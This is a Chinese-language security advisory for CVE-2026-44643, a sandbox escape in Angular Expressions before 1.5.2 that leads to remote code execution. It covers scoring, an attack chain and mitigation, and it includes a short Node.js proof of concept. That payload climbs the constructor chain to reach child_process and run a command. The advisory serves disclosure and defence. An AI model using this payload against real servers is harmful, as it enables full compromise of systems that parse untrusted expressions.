CVE-2026-44643 CVSS 10.0 严重

CVE-2026-44643 Angular Expressions沙箱逃逸致远程代码执行漏洞

披露日期: 2026-05-11

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-44643

漏洞类型

远程代码执行 (RCE) / 沙箱逃逸

CVSS评分

10.0 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Angular Expressions

漏洞概述

Angular Expressions是Angular.JS框架的独立表达式解析模块。在1.5.2之前的版本中存在严重的安全漏洞。由于沙箱机制存在缺陷，攻击者可以通过精心构造的恶意表达式并利用特定过滤器，成功绕过沙箱限制。这允许攻击者在目标系统上执行任意代码。该漏洞CVSS评分为10.0，无需用户认证和交互即可远程利用，对机密性、完整性和可用性造成极高影响。

技术细节

该漏洞的核心原理在于Angular Expressions早期版本沙箱实现的逻辑缺陷。沙箱机制原本旨在限制表达式的执行上下文，禁止访问危险的JavaScript全局对象（如window、document等）和函数。然而，在1.5.2版本之前，攻击者可以通过组合使用特定的过滤器来改变解析逻辑或绕过属性访问检查。利用方式通常涉及构造一个精心设计的恶意表达式，利用沙箱对某些字符或对象引用处理不当的漏洞，通过原型链污染或作用域逃逸技术，最终获取Function构造器的引用。一旦成功逃逸沙箱，攻击者即可实例化任意函数并执行系统命令，从而完全控制服务器。由于该漏洞无需认证且可远程触发，极具危险性。

攻击链分析

STEP 1

侦察

攻击者识别目标应用使用了存在漏洞的Angular Expressions版本（< 1.5.2），并找到接受用户输入进行表达式解析的接口。

STEP 2

构造载荷

攻击者利用已知或发现的过滤器缺陷，构造包含恶意代码的Angular表达式字符串，旨在绕过沙箱限制。

STEP 3

发送请求

攻击者将包含恶意表达式的HTTP请求发送至目标服务器。

STEP 4

沙箱逃逸

目标服务器解析表达式，由于沙箱机制失效，恶意代码成功获取系统级执行权限。

STEP 5

执行代码

攻击者在服务器上下文中执行任意代码，可能导致数据泄露、篡改或服务器沦陷。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// PoC Concept for CVE-2026-44643
// This demonstrates how to escape the sandbox using common Angular expression techniques.

const angularExpressions = require('angular-expressions');

// Malicious payload designed to escape sandbox and execute code
// Exploiting the fact that filters or object references can leak the Function constructor
const payload = "{}.constructor.constructor('return process')().mainModule.require('child_process').exec('calc')";

try {
    // Simulating the vulnerable parsing scenario
    const parsedFn = angularExpressions.compile(payload);
    const result = parsedFn({}); // Execute with empty scope
    console.log("Exploit executed successfully. RCE achieved.");
} catch (e) {
    console.log("Exploit failed or environment patched.");
}

影响范围

Angular Expressions < 1.5.2

防御指南

临时缓解措施

如果无法立即升级，应禁用或限制Angular Expressions中危险过滤器的使用，并在应用层面对表达式输入实施严格的白名单校验，仅允许预定义的安全语法结构。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表